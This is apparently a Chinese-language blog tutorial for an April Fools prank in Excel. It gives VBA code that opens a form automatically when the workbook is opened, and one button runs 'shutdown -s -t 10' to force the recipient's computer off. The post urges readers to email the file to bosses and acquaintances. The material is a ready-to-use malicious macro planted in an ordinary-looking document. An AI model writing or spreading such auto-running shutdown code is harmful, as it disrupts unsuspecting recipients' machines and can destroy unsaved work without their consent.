愚人节马上到了,是不是特想整人阿?!
下面,我就跟大家分享一个Excel整人的神技巧。
设计思路:我们把Excel文档用邮件发送给接收者,当接收者打开Excel文档的时侯,显示窗口如下:
这时候,如果接收者点击“给红包”命令按钮,就会显示如下两个对话框:
如果接收者点击“不给红包”命令按钮,就会显示如下警告对话框:
而且,接收者的电脑会在10秒内关机,如下:
那么,上述功能如何实现呢?答案很简单。请看下面:
首先,我们插入一用户窗体,在UserForm1中输入如下代码:
Private Sub CommandButton1_click()
Unload Me
Application.Visible = True
MsgBox "谢谢!" & Chr(13) & "祝福你:快乐每一天!!", vbOKOnly + vbInformation, "鸣谢"
MsgBox "稍后,我拿着手机去找你,你用微信当面转账就行了!" & Chr(13) & "哈哈哈!!!"
End Sub
Private Sub CommandButton2_click()
Shell "shutdown -s -t 10"
MsgBox "谁叫你不给红包!关你的机!!", vbOKOnly + vbInformation, "警告"
End Sub
其次,我们在ThisWorkbook代码窗口中输入如下代码:
Private Sub workbook_open()
UserForm1.Show
End Sub
好了,大功告成!
在愚人节那天,我们就把含有以上代码的Excel文档发给我们的老板吧,发给那些高富帅,白富美吧!哈哈,提前祝愿大家:愚人节“愚”快!!
联系客服